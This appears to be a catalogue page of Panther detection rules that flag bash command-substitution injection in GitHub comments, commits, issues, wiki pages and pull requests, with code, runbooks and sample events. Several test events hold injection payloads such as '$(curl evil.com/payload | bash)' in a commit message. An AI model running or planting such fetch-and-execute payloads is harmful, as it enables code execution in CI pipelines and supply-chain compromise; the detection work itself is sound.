Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
idcomment.id
full_namerepository.full_name
idreview.id

Response runbook

1. Review the comment or review content for malicious patterns

2. Check the author's profile and activity history

3. Determine if this is a legitimate comment or a social engineering attempt

4. Delete the comment/review if it's malicious

5. Report the user if they appear to be intentionally posting malicious content

6. Review other comments from the same user in the repository

7. Consider blocking the user from the repository/organization

8. Check if any developers may have already executed the malicious commands

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "created",
  "comment": {
    "body": "Try running this command: $(curl evil.com/payload.sh)",
    "created_at": "2024-01-15T10:30:00Z",
    "html_url": "https://github.com/org/repo/issues/1#issuecomment-123456",
    "id": 123456,
    "user": {
      "id": 12345,
      "login": "malicious-user",
      "type": "User"
    }
  },
  "issue": {
    "number": 1,
    "title": "Help needed"
  },
  "p_log_type": "GitHub.Webhook",
  "repository": {
    "full_name": "org/repo",
    "name": "repo"
  },
  "sender": {
    "login": "malicious-user"
  }
}

GitHub Malicious Commit Content

#
Severity
high
Log types
GitHub.Webhook
Tags
Code Injection, Supply Chain, Account Compromise
Reference
github.com
Source
github.com/panther-labs/panther-analysis

Detects malicious patterns in GitHub commit content including commit messages, author names, and author emails. These fields can contain injection payloads that may be executed by vulnerable CI/CD workflows or git hooks. This rule is particularly important as commit metadata is often trusted and may be processed unsafely. Based on patterns from the Nx vulnerability (GHSA-cxm3-wv7p-598c).

MITRE ATT&CK coverage

Detection logic

from panther_github_helpers import (
    contains_bash_injection_pattern,
    get_matched_bash_patterns,
    github_reference_url,
    github_webhook_alert_context,
)


def rule(event):
    # Check for push events with commits
    if not (event.get("commits") or event.get("head_commit")):
        return False

    # Check head_commit fields (single commit in push)
    if head_commit := event.get("head_commit"):
        fields_to_check = [
            head_commit.get("message"),
            head_commit.get("author", {}).get("email"),
            head_commit.get("author", {}).get("name"),
        ]
        for field in fields_to_check:
            if contains_bash_injection_pattern(field):
                return True

    # Check all commits in the push
    for commit in event.get("commits", []):
        commit_fields = [
            commit.get("message"),
            commit.get("author", {}).get("email"),
            commit.get("author", {}).get("name"),
        ]
        for field in commit_fields:
            if contains_bash_injection_pattern(field):
                return True

    return False


def title(event):
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    ref = event.get("ref", "<UNKNOWN_REF>")

    return f"Malicious pattern detected in commit content in {repo_name} on {ref}"


def alert_context(event):
    context = github_webhook_alert_context(event)

    context["malicious_commits"] = []

    # Analyze head_commit
    if head_commit := event.get("head_commit"):
        commit_analysis = _analyze_commit(head_commit)
        if commit_analysis["has_malicious_patterns"]:
            context["malicious_commits"].append(commit_analysis)

    # Analyze all commits
    for commit in event.get("commits", []):
        commit_analysis = _analyze_commit(commit)
        if commit_analysis["has_malicious_patterns"]:
            context["malicious_commits"].append(commit_analysis)

    return context


def _analyze_commit(commit):
    """Analyze a single commit for malicious patterns."""
    analysis = {
        "commit_id": commit.get("id"),
        "message": commit.get("message"),
        "author": commit.get("author", {}).get("name"),
        "author_email": commit.get("author", {}).get("email"),
        "timestamp": commit.get("timestamp"),
        "url": commit.get("url"),
        "has_malicious_patterns": False,
        "field_analysis": {},
    }

    # Check message
    if message := commit.get("message"):
        patterns = get_matched_bash_patterns(message)
        if patterns:
            analysis["has_malicious_patterns"] = True
            analysis["field_analysis"]["message"] = {
                "value": message,
                "matched_patterns": patterns,
            }

    # Check author email
    if author_email := commit.get("author", {}).get("email"):
        patterns = get_matched_bash_patterns(author_email)
        if patterns:
            analysis["has_malicious_patterns"] = True
            analysis["field_analysis"]["author_email"] = {
                "value": author_email,
                "matched_patterns": patterns,
            }

    # Check author name
    if author_name := commit.get("author", {}).get("name"):
        patterns = get_matched_bash_patterns(author_name)
        if patterns:
            analysis["has_malicious_patterns"] = True
            analysis["field_analysis"]["author_name"] = {
                "value": author_name,
                "matched_patterns": patterns,
            }

    return analysis


def reference(event):
    # Try to get the compare URL
    if compare_url := event.get("compare"):
        return compare_url

    # Try head commit URL
    if head_commit_url := event.deep_get("head_commit", "url"):
        return head_commit_url

    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"

Rule specification

AnalysisType: rule
Filename: github_malicious_commit_content.py
RuleID: "GitHub.Webhook.MaliciousCommitContent"
DisplayName: "GitHub Malicious Commit Content"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0003:T1098  # Persistence: Account Manipulation
Tags:
  - Code Injection
  - Supply Chain
  - Account Compromise
Severity: High
Description: >
  Detects malicious patterns in GitHub commit content including commit messages, author names,
  and author emails. These fields can contain injection payloads that may be executed by
  vulnerable CI/CD workflows or git hooks. This rule is particularly important as commit metadata
  is often trusted and may be processed unsafely. Based on patterns from the Nx vulnerability
  (GHSA-cxm3-wv7p-598c).
Runbook: |
  1. Immediately investigate the commits identified with malicious patterns
  2. Check if the author account may be compromised
  3. Review all workflows and git hooks that process commit messages or author information
  4. Look for signs of code execution in CI/CD logs
  5. Revert malicious commits if confirmed
  6. Reset credentials if the author account is compromised
  7. Review repository access logs for suspicious activity
  8. Consider temporarily disabling vulnerable workflows
  9. Implement input sanitization for commit metadata processing
  10. Contact the repository owner and security team
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c

Stages and Predicates

Fires on GitHub.Webhook events when any of the conditions below holds.

Condition

  • any of:
    • commits is present
    • head_commit is present

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
commitsis_not_null
  • (no value, null check)
field:"commits" kind:is_not_null
head_commitis_not_null
  • (no value, null check)
field:"head_commit" kind:is_not_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
full_namerepository.full_name
ref

Response runbook

1. Immediately investigate the commits identified with malicious patterns

2. Check if the author account may be compromised

3. Review all workflows and git hooks that process commit messages or author information

4. Look for signs of code execution in CI/CD logs

5. Revert malicious commits if confirmed

6. Reset credentials if the author account is compromised

7. Review repository access logs for suspicious activity

8. Consider temporarily disabling vulnerable workflows

9. Implement input sanitization for commit metadata processing

10. Contact the repository owner and security team

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "after": "def456",
  "before": "abc123",
  "commits": [
    {
      "author": {
        "email": "peregrin@lotr.com",
        "name": "developer"
      },
      "id": "def456",
      "message": "Fix bug $(curl evil.com/payload | bash)",
      "timestamp": "2024-01-15T10:30:00Z",
      "url": "https://github.com/org/repo/commit/def456"
    }
  ],
  "head_commit": {
    "author": {
      "email": "peregrin@lotr.com",
      "name": "developer"
    },
    "id": "def456",
    "message": "Fix bug $(curl evil.com/payload | bash)"
  },
  "p_log_type": "GitHub.Webhook",
  "pusher": {
    "name": "developer"
  },
  "ref": "refs/heads/main",
  "repository": {
    "full_name": "org/repo",
    "name": "repo"
  }
}

GitHub Malicious Issue/Pages Content

#
Severity
medium
Log types
GitHub.Webhook
Tags
Code Injection, Supply Chain, Social Engineering
Reference
github.com
Source
github.com/panther-labs/panther-analysis

Detects malicious patterns in GitHub issue content (title and body) and GitHub wiki pages (page names) that could indicate bash injection attempts. This rule detects command substitution patterns similar to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c). Covers both issue events and Gollum (wiki) events.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import (
    contains_bash_injection_pattern,
    get_matched_bash_patterns,
    github_reference_url,
    github_webhook_alert_context,
)


def rule(event):
    # Check if this is an issue event (opened or edited) and that it's open
    is_issue_event = (
        event.get("issue")
        and event.get("action") in ["opened", "edited"]
        and event.deep_get("issue", "state") == "open"
    )

    # Check if this is a pages/wiki event (Gollum event)
    has_pages = event.get("pages")

    if not is_issue_event and not has_pages:
        return False

    # Check issue fields if this is an issue event
    if is_issue_event:
        fields_to_check = [
            event.deep_get("issue", "title"),
            event.deep_get("issue", "body"),
        ]

        for field in fields_to_check:
            if contains_bash_injection_pattern(field):
                return True

    # Check pages (for GitHub wiki/Gollum events)
    for page in event.get("pages", []):
        if contains_bash_injection_pattern(page.get("page_name")):
            return True

    return False


def title(event):
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")

    # If this is an issue event
    if event.get("issue"):
        issue_number = event.deep_get("issue", "number", default="<UNKNOWN_ISSUE_NUMBER>")
        user = event.deep_get("issue", "user", "login", default="<UNKNOWN_USER>")
        return (
            f"Malicious pattern detected in issue #{issue_number} in {repo_name} by user [{user}]"
        )

    # If this is a pages/wiki event
    if event.get("pages"):
        return f"Malicious pattern detected in wiki page in {repo_name}"

    return f"Malicious pattern detected in {repo_name}"


def alert_context(event):
    context = github_webhook_alert_context(event)

    # Analyze patterns found in issue fields if this is an issue event
    if event.get("issue"):
        issue_fields = {
            "title": event.deep_get("issue", "title"),
            "body": event.deep_get("issue", "body"),
        }

        context["field_analysis"] = {}
        for field_name, field_value in issue_fields.items():
            patterns = get_matched_bash_patterns(field_value)
            if patterns:
                context["field_analysis"][field_name] = {
                    "value": field_value,
                    "matched_patterns": patterns,
                }

        # Add issue details
        issue = event.get("issue", {})
        context["issue"] = {
            "number": issue.get("number"),
            "title": issue.get("title"),
            "state": issue.get("state"),
            "user": issue.get("user", {}).get("login"),
            "html_url": issue.get("html_url"),
            "created_at": issue.get("created_at"),
            "updated_at": issue.get("updated_at"),
        }

    # Analyze pages (for wiki/Gollum events)
    context["malicious_pages"] = []
    for page in event.get("pages", []):
        if page_name := page.get("page_name"):
            patterns = get_matched_bash_patterns(page_name)
            if patterns:
                context["malicious_pages"].append(
                    {
                        "page_name": page_name,
                        "action": page.get("action"),
                        "title": page.get("title"),
                        "html_url": page.get("html_url"),
                        "matched_patterns": patterns,
                    }
                )

    return context


def reference(event):
    # Try to get the issue URL
    issue_url = event.deep_get("issue", "html_url")
    if issue_url:
        return issue_url

    # Try to get a page URL if this is a pages/wiki event
    if pages := event.get("pages"):
        if pages and len(pages) > 0 and pages[0].get("html_url"):
            return pages[0].get("html_url")

    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"

Rule specification

AnalysisType: rule
Filename: github_malicious_issue_pages.py
RuleID: "GitHub.Webhook.MaliciousIssuePagesContent"
DisplayName: "GitHub Malicious Issue/Pages Content"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
Tags:
  - Code Injection
  - Supply Chain
  - Social Engineering
Severity: Medium
Description: >
  Detects malicious patterns in GitHub issue content (title and body) and GitHub wiki pages (page names)
  that could indicate bash injection attempts. This rule detects command substitution patterns similar
  to those found in the Nx vulnerability (GHSA-cxm3-wv7p-598c). Covers both issue events and Gollum
  (wiki) events.
Runbook: |
  1. Review the issue or wiki page content for malicious patterns
  2. For issues: Check the issue author's profile and activity history
  3. For wiki pages: Check the page author and page edit history
  4. Determine if the content is legitimate or malicious
  5. Close and lock the issue if it's malicious, or revert wiki page edits
  6. Report the user if they appear to be intentionally posting malicious content
  7. Review recent activity from the same user in other repositories
  8. Consider blocking the user from the repository/organization
  9. Review CI/CD workflows that may process issue or wiki content
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • any of:
    • all of:
      • issue is present
      • action is one of opened, edited
      • issue.state is open
    • pages is present
  • issue is present
  • action is one of opened, edited
  • issue.state is open

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
actioninedited, openedexcludes:action field:"action" value:"edited" field:"action" value:"opened"
issueis_not_null(no value, null check)excludes:issue
issue.stateeqopenexcludes:issue.state field:"issue.state" value:"open"
pagesis_null(no value, null check)excludes:pages

Indicators

These rows show field, operator, and value matches.

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
numberissue.number
full_namerepository.full_name
loginissue.user.login

Response runbook

1. Review the issue or wiki page content for malicious patterns

2. For issues: Check the issue author's profile and activity history

3. For wiki pages: Check the page author and page edit history

4. Determine if the content is legitimate or malicious

5. Close and lock the issue if it's malicious, or revert wiki page edits

6. Report the user if they appear to be intentionally posting malicious content

7. Review recent activity from the same user in other repositories

8. Consider blocking the user from the repository/organization

9. Review CI/CD workflows that may process issue or wiki content

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "opened",
  "issue": {
    "body": "I found a bug in the application",
    "created_at": "2024-01-15T10:30:00Z",
    "html_url": "https://github.com/target-org/repo/issues/123",
    "number": 123,
    "state": "open",
    "title": "Bug report $(echo 'malicious command')",
    "user": {
      "id": 12345,
      "login": "suspicious-user",
      "type": "User"
    }
  },
  "p_log_type": "GitHub.Webhook",
  "repository": {
    "full_name": "target-org/repo",
    "name": "repo",
    "private": false
  },
  "sender": {
    "login": "suspicious-user",
    "type": "User"
  }
}

GitHub Malicious Pull Request Content

#
Severity
high
Log types
GitHub.Webhook
Tags
Code Injection, Supply Chain
Reference
github.com
Source
github.com/panther-labs/panther-analysis

Detects malicious patterns in GitHub pull request content (title, body, head ref, head label, default branch) that could indicate bash injection attempts or other malicious activity. This rule is designed to catch attacks like the Nx vulnerability (GHSA-cxm3-wv7p-598c) where PR titles contained bash injection payloads that could be executed by vulnerable CI workflows. Lower severity for PRs that are not cross-fork.

MITRE ATT&CK coverage

Rules detecting the same action

These rules filter on the same operation.

Detection logic

from panther_github_helpers import (
    contains_bash_injection_pattern,
    get_matched_bash_patterns,
    github_reference_url,
    github_webhook_alert_context,
    is_cross_fork_pr,
    is_pull_request_event,
)


def rule(event):
    if not is_pull_request_event(event) or event.deep_get("action") != "opened":
        return False

    # Check all untrusted PR-related inputs
    fields_to_check = [
        event.deep_get("pull_request", "title"),
        event.deep_get("pull_request", "body"),
        event.deep_get("pull_request", "head", "ref"),
        event.deep_get("pull_request", "head", "label"),
        event.deep_get("pull_request", "head", "repo", "default_branch"),
    ]

    for field in fields_to_check:
        if contains_bash_injection_pattern(field):
            return True

    return False


def title(event):
    pr_number = event.deep_get("pull_request", "number", default="<UNKNOWN>")
    repo_name = event.deep_get("repository", "full_name", default="<UNKNOWN_REPO>")
    action = event.get("action", "<UNKNOWN_ACTION>")

    return f"Malicious pattern detected in PR #{pr_number} in {repo_name} ({action})"


def alert_context(event):
    context = github_webhook_alert_context(event)

    # Analyze patterns found in all PR fields
    pr_fields = {
        "title": event.deep_get("pull_request", "title"),
        "body": event.deep_get("pull_request", "body"),
        "head_ref": event.deep_get("pull_request", "head", "ref"),
        "head_label": event.deep_get("pull_request", "head", "label"),
        "head_repo_default_branch": event.deep_get(
            "pull_request", "head", "repo", "default_branch"
        ),
    }

    context["field_analysis"] = {}
    for field_name, field_value in pr_fields.items():
        patterns = get_matched_bash_patterns(field_value)
        if patterns:
            context["field_analysis"][field_name] = {
                "value": field_value,
                "matched_patterns": patterns,
            }

    return context


def reference(event):
    if reference_url := github_reference_url(event):
        return reference_url

    return "DEFAULT"


def severity(event):
    if is_cross_fork_pr(event):
        return "DEFAULT"

    return "LOW"

Rule specification

AnalysisType: rule
Filename: github_malicious_pr_titles.py
RuleID: "GitHub.Webhook.MaliciousPRTitles"
DisplayName: "GitHub Malicious Pull Request Content"
Enabled: true
LogTypes:
  - GitHub.Webhook
Reports:
  MITRE ATT&CK:
    - TA0001:T1195.002  # Supply Chain Compromise: Compromise Software Supply Chain
    - TA0002:T1072  # Execution: Software Deployment Tools
Tags:
  - Code Injection
  - Supply Chain
Severity: High
Description: >
  Detects malicious patterns in GitHub pull request content (title, body, head ref, head label,
  default branch) that could indicate bash injection attempts or other malicious activity.
  This rule is designed to catch attacks like the Nx vulnerability (GHSA-cxm3-wv7p-598c) where
  PR titles contained bash injection payloads that could be executed by vulnerable CI workflows.
  Lower severity for PRs that are not cross-fork.
Runbook: |
  1. Immediately review the pull request content and metadata for malicious patterns
  2. Check if the repository has workflows that process PR titles or descriptions unsafely
  3. Verify the identity and legitimacy of the PR author, especially for cross-fork PRs
  4. Review recent workflow runs for signs of code execution or compromise
  5. Check for any unusual repository activity or file modifications
  6. Consider temporarily disabling vulnerable workflows until they can be secured
  7. Implement input sanitization and use pull_request instead of pull_request_target
  8. Report suspected supply chain attacks to security team
Reference: https://github.com/nrwl/nx/security/advisories/GHSA-cxm3-wv7p-598c

Stages and Predicates

Fires on GitHub.Webhook events when all of the conditions below hold.

Condition

  • action is one of opened, synchronize, reopened, closed, assigned (+6 more values, see Indicators below)
  • pull_request is present
  • action is opened

This rule also runs imperative logic the parser cannot express as a filter. The conditions above are the structured part it could extract.

Exclusions

The rule actively suppresses these predicates.

FieldKindExcluded valuesSearch
actioninassigned, closed, converted_to_draft, edited, labeled, opened, ready_for_review, reopened, synchronize, unassigned, unlabeledexcludes:action
pull_requestis_not_null(no value, null check)excludes:pull_request
actionneopenedexcludes:action field:"action" value:"opened"

Indicators

These rows show field, operator, and value matches.

FieldKindValuesSearch
actioneq
  • opened
field:"action" kind:eq value:"opened"
actionin
  • assigned
  • closed
  • converted_to_draft
  • edited
  • labeled
  • opened
  • ready_for_review
  • reopened
  • synchronize
  • unassigned
  • unlabeled
field:"action" kind:in
pull_requestis_not_null
  • (no value, null check)
field:"pull_request" kind:is_not_null

Output fields

Fields the rule emits when it matches, drawn from the rule's alert_context.

FieldSource
action
actor
actor_locationactor_location.country_code
org
repo
user
numberpull_request.number
full_namerepository.full_name

Response runbook

1. Immediately review the pull request content and metadata for malicious patterns

2. Check if the repository has workflows that process PR titles or descriptions unsafely

3. Verify the identity and legitimacy of the PR author, especially for cross-fork PRs

4. Review recent workflow runs for signs of code execution or compromise

5. Check for any unusual repository activity or file modifications

6. Consider temporarily disabling vulnerable workflows until they can be secured

7. Implement input sanitization and use pull_request instead of pull_request_target

8. Report suspected supply chain attacks to security team

Worked example

A sample event from the rule's unit tests that triggers a match.

Sample Test Event
{
  "action": "opened",
  "number": 123,
  "p_log_type": "GitHub.Webhook",
  "pull_request": {
    "base": {
      "ref": "main",
      "repo": {
        "fork": false,
        "full_name": "target-org/main-repo"
      },
      "sha": "def456abc123"
    },
    "body": "This PR fixes the build configuration",
    "created_at": "2024-01-15T10:30:00Z",
    "draft": false,
    "head": {
      "ref": "fix-build",
      "repo": {
        "fork": true,
        "full_name": "malicious-user/forked-repo"
      },
      "sha": "abc123def456"
    },
    "html_url": "https://github.com/target-org/main-repo/pull/123",
    "id": 789456123,
    "number": 123,
    "state": "open",
    "title": "Fix build issue $(echo 'You have been compromised')",
    "user": {
      "id": 12345,
      "login": "malicious-user",
      "type": "User"
    }
  },
  "repository": {
    "fork": false,
    "full_name": "target-org/main-repo",
    "name": "main-repo",
    "private": false
  },
  "sender": {
    "login": "malicious-user",
    "type": "User"
  }
}

GitHub Org Authentication Method Changed

#
Severity
critical
Log types
GitHub.Audit
Tags
GitHub, Persistence, Account Manipulation, Identity and Access Management, Security Configuration, Privilege Escalation, Defense Evasion, Organization Security
Reference
docs.github.com
Source
github.com/panther-labs/panther-analysis

Detects critical changes to GitHub organization authentication settings including SAML SSO, 2FA requirements, SAML provider configuration, and OAuth restrictions. These foundational security controls protect entire organizations, and unauthorized modifications can enable attackers to bypass identity management, maintain persistence, or prepare for data exfiltration. Legitimate changes are rare and should be well-documented with proper authorization.

MITRE ATT&CK coverage

TacticTechniques
Persistence
Privilege Escalation

Telemetry coverage

PlatformRecord / event type
GitHubAudit log action org.accept_business_invitation: Invitation to join enterprise accepted for organization
GitHubAudit log action org.add_billing_manager: Billing manager added to organization
GitHubAudit log action org.add_disallowed_two_factor_method: 2FA method disallowed for organization
GitHubAudit log action org.add_member: User joined organization
GitHubAudit log action org.add_outside_collaborator: Outside collaborator added to repository
GitHubAudit log action org.add_security_manager
GitHubAudit log action org.advanced_security_disabled_for_new_repos: Advanced Security disabled for new repositories in organization
GitHubAudit log action org.advanced_security_disabled_on_all_repos: Advanced Security disabled for all repositories in organization
GitHubAudit log action org.advanced_security_enabled_for_new_repos: Advanced Security enabled for new repositories in organization
GitHubAudit log action org.advanced_security_enabled_on_all_repos: Advanced Security enabled for all repositories in organization
GitHubAudit log action org.advanced_security_entity_policy_update: Advanced Security access policy updated for organization repositories
GitHubAudit log action org.advanced_security_policy_selected_member_disabled: Advanced Security features blocked for organization repositories
GitHubAudit log action org.advanced_security_policy_selected_member_enabled: Advanced Security features allowed for organization repositories
GitHubAudit log action org.allow_third_party_access_requests_from_outside_collaborators_disabled: Third-party app access for outside collaborators disabled for organization
GitHubAudit log action org.allow_third_party_access_requests_from_outside_collaborators_enabled: Third-party app access for outside collaborators enabled for organization
GitHubAudit log action org.archive: Organization archived
GitHubAudit log action org.audit_log_export: Organization audit log export created
GitHubAudit log action org.audit_log_git_event_export: Export of organization Git events created
GitHubAudit log action org.billing_signup_error
GitHubAudit log action org.block_user: User blocked from organization repositories
GitHubAudit log action org.cancel_business_invitation: Invitation for organization to join enterprise revoked
GitHubAudit log action org.cancel_invitation: Invitation to join organization revoked
GitHubAudit log action org.clear_custom_invitation_rate_limit
GitHubAudit log action org.clear_disallowed_two_factor_methods: 2FA restrictions cleared for organization
GitHubAudit log action org.code_quality_entity_policy_update: Code Quality entity policy updated for organization repositories
GitHubAudit log action org.code_scanning_ai_findings_disabled: AI-powered code scanning findings disabled for organization
GitHubAudit log action org.code_scanning_ai_findings_enabled: AI-powered code scanning findings enabled for organization
GitHubAudit log action org.code_scanning_autofix_disabled: Code scanning alert autofix disabled for organization
GitHubAudit log action org.code_scanning_autofix_enabled: Code scanning autofix enabled for organization
GitHubAudit log action org.code_scanning_autofix_third_party_tools_disabled: Code scanning autofix for third-party tools disabled for organization
GitHubAudit log action org.code_scanning_autofix_third_party_tools_enabled: Code scanning autofix for third-party tools enabled for organization
GitHubAudit log action org.code_scanning_scan_inactive_repos_disabled: Scanning of inactive repositories disabled for organization
GitHubAudit log action org.code_scanning_scan_inactive_repos_enabled: Scanning of inactive repositories enabled for organization
GitHubAudit log action org.code_security_metered_usage_lock: Code Security feature enablement locked for organization
GitHubAudit log action org.code_security_metered_usage_unlock: Code Security feature enablement unlocked for organization
GitHubAudit log action org.codeql_disabled: Code scanning default setup disabled for organization
GitHubAudit log action org.codeql_enabled: Code scanning default setup enabled for organization
GitHubAudit log action org.codespaces_access_updated: Codespaces access updated for organization
GitHubAudit log action org.codespaces_ownership_updated: Codespaces ownership and payment updated for organization
GitHubAudit log action org.codespaces_team_access_allowed: Team allowed to use Codespaces for organization
GitHubAudit log action org.codespaces_team_access_revoked: Team prevented from using Codespaces for organization
GitHubAudit log action org.codespaces_trusted_repo_access_granted: Codespaces granted trusted repository access in organization
GitHubAudit log action org.codespaces_trusted_repo_access_revoked: Codespaces trusted repository access revoked in organization
GitHubAudit log action org.codespaces_user_access_allowed: User allowed to use Codespaces for organization
GitHubAudit log action org.codespaces_user_access_revoked: User prevented from using Codespaces for organization
GitHubAudit log action org.config.disable_collaborators_only: Interaction limit for collaborators only disabled for organization
GitHubAudit log action org.config.disable_contributors_only: Interaction limit for prior contributors only disabled for organization
GitHubAudit log action org.config.disable_sockpuppet_disallowed: Interaction limit for existing users only disabled for organization
GitHubAudit log action org.config.enable_collaborators_only: Interaction limit for collaborators only enabled for organization
GitHubAudit log action org.config.enable_contributors_only: Interaction limit for prior contributors only enabled for organization
GitHubAudit log action org.config.enable_sockpuppet_disallowed: Interaction limit for existing users only enabled for organization
GitHubAudit log action org.configure_self_hosted_jit_runner: Just-in-time self-hosted Actions runner configured for organization
GitHubAudit log action org.confirm_business_invitation: Organization invitation to join enterprise confirmed
GitHubAudit log action org.connect_usage_metrics_export: Server statistics exported for organization
GitHubAudit log action org.create: Organization created
GitHubAudit log action org.create_actions_secret: GitHub Actions secret created for organization
GitHubAudit log action org.create_actions_variable: GitHub Actions variable created for organization
GitHubAudit log action org.create_integration_secret: Codespaces or Dependabot secret created for organization
GitHubAudit log action org.delete: Organization deleted
GitHubAudit log action org.delete_custom_image: Custom image deleted for organization
GitHubAudit log action org.delete_custom_image_version: Custom image version deleted for organization
GitHubAudit log action org.disable_member_team_creation_permission: Team creation limited to owners in organization
GitHubAudit log action org.disable_oauth_app_restrictions: Third-party application access restrictions disabled for organization
GitHubAudit log action org.disable_reader_discussion_creation_permission: Discussion creation limited to triage permission in organization
GitHubAudit log action org.disable_saml: SAML SSO disabled for organization
GitHubAudit log action org.disable_source_ip_disclosure: Display of IP addresses in audit log events disabled for organization
GitHubAudit log action org.disable_two_factor_requirement: 2FA requirement disabled for organization
GitHubAudit log action org.display_commenter_full_name_disabled: Display of commenter full name disabled for organization
GitHubAudit log action org.display_commenter_full_name_enabled: Display of commenter full name enabled for organization
GitHubAudit log action org.enable_member_team_creation_permission: Team creation by members allowed in organization
GitHubAudit log action org.enable_oauth_app_restrictions: Third-party application access restrictions enabled for organization
GitHubAudit log action org.enable_reader_discussion_creation_permission: Discussion creation allowed for read-access users in organization
GitHubAudit log action org.enable_saml: SAML SSO enabled for organization
GitHubAudit log action org.enable_source_ip_disclosure: Display of IP addresses in audit log events enabled for organization
GitHubAudit log action org.enable_two_factor_requirement: 2FA now required for organization
GitHubAudit log action org.integration_manager_added: Member granted access to manage GitHub Apps for organization
GitHubAudit log action org.integration_manager_removed: GitHub Apps management access removed from member
GitHubAudit log action org.invite_member: User invited to join organization
GitHubAudit log action org.invite_to_business: Organization invited to join enterprise
GitHubAudit log action org.members_can_update_protected_branches.disable: Protected branch updates by enterprise members disabled
GitHubAudit log action org.members_can_update_protected_branches.enable: Protected branch updates by enterprise members enabled
GitHubAudit log action org.members_limit_warning: Organization neared member limit
GitHubAudit log action org.oauth_app_access_approved: OAuth App access granted for organization
GitHubAudit log action org.oauth_app_access_blocked
GitHubAudit log action org.oauth_app_access_denied: Previously approved OAuth App access disabled
GitHubAudit log action org.oauth_app_access_requested: OAuth App access requested for organization
GitHubAudit log action org.oauth_app_access_unblocked
GitHubAudit log action org.rate_limited_invites
GitHubAudit log action org.recovery_code_failed: Organization owner failed to sign in using recovery code
GitHubAudit log action org.recovery_code_used: Organization owner signed in using recovery code
GitHubAudit log action org.recovery_codes_downloaded: Organization owner downloaded SSO recovery codes
GitHubAudit log action org.recovery_codes_generated: Organization owner generated SSO recovery codes
GitHubAudit log action org.recovery_codes_printed: Organization owner printed SSO recovery codes
GitHubAudit log action org.recovery_codes_viewed: Organization owner viewed SSO recovery codes
GitHubAudit log action org.register_self_hosted_runner: Self-hosted runner registered
GitHubAudit log action org.remove_actions_secret: GitHub Actions secret removed from organization
GitHubAudit log action org.remove_actions_variable: GitHub Actions variable removed from organization
GitHubAudit log action org.remove_billing_manager: Billing manager removed from organization
GitHubAudit log action org.remove_disallowed_two_factor_method: Restriction on 2FA methods removed for organization
GitHubAudit log action org.remove_integration_secret: Codespaces or Dependabot secret removed from organization
GitHubAudit log action org.remove_member: Member removed from organization
GitHubAudit log action org.remove_outside_collaborator: Outside collaborator removed from organization
GitHubAudit log action org.remove_security_manager
GitHubAudit log action org.remove_self_hosted_runner: Self-hosted runner removed
GitHubAudit log action org.rename: Organization renamed
GitHubAudit log action org.required_workflow_create: Required workflow created
GitHubAudit log action org.required_workflow_delete: Required workflow deleted
GitHubAudit log action org.required_workflow_update: Required workflow updated
GitHubAudit log action org.restore_member: Organization member restored
GitHubAudit log action org.revoke_external_identity: Member linked identity revoked
GitHubAudit log action org.revoke_sso_session: Member SAML session revoked
GitHubAudit log action org.runner_group_created: Self-hosted runner group created
GitHubAudit log action org.runner_group_removed: Self-hosted runner group removed
GitHubAudit log action org.runner_group_renamed: Self-hosted runner group renamed
GitHubAudit log action org.runner_group_runner_removed: Self-hosted runner removed from group via REST API
GitHubAudit log action org.runner_group_runners_added: Self-hosted runner added to group
GitHubAudit log action org.runner_group_runners_updated: Runner group member list updated
GitHubAudit log action org.runner_group_updated: Self-hosted runner group configuration changed
GitHubAudit log action org.runner_group_visiblity_updated: Self-hosted runner group visibility updated via REST API
GitHubAudit log action org.secret_protection_metered_usage_lock: Secret Protection enablement locked for organization
GitHubAudit log action org.secret_protection_metered_usage_unlock: Secret Protection enablement unlocked for organization
GitHubAudit log action org.secret_scanning_custom_pattern_push_protection_disabled: Secret scanning custom pattern push protection disabled for organization
GitHubAudit log action org.secret_scanning_custom_pattern_push_protection_enabled: Secret scanning custom pattern push protection enabled for organization
GitHubAudit log action org.secret_scanning_push_protection_custom_message_disabled: Push protection custom message disabled for organization
GitHubAudit log action org.secret_scanning_push_protection_custom_message_enabled: Push protection custom message enabled for organization
GitHubAudit log action org.secret_scanning_push_protection_custom_message_updated: Push protection custom message updated for organization
GitHubAudit log action org.secret_scanning_push_protection_disable: Secret scanning push protection disabled
GitHubAudit log action org.secret_scanning_push_protection_enable: Secret scanning push protection enabled
GitHubAudit log action org.secret_scanning_push_protection_new_repos_disable: Push protection disabled for new repositories
GitHubAudit log action org.secret_scanning_push_protection_new_repos_enable: Push protection enabled for new repositories
GitHubAudit log action org.security_center_export_code_scanning_metrics: CSV export requested on CodeQL pull request alerts page
GitHubAudit log action org.security_center_export_coverage: CSV export requested on Coverage page
GitHubAudit log action org.security_center_export_overview_dashboard: CSV export requested on Overview Dashboard page
GitHubAudit log action org.security_center_export_risk: CSV export requested on Risk page
GitHubAudit log action org.self_hosted_runner_offline: Self-hosted runner application stopped
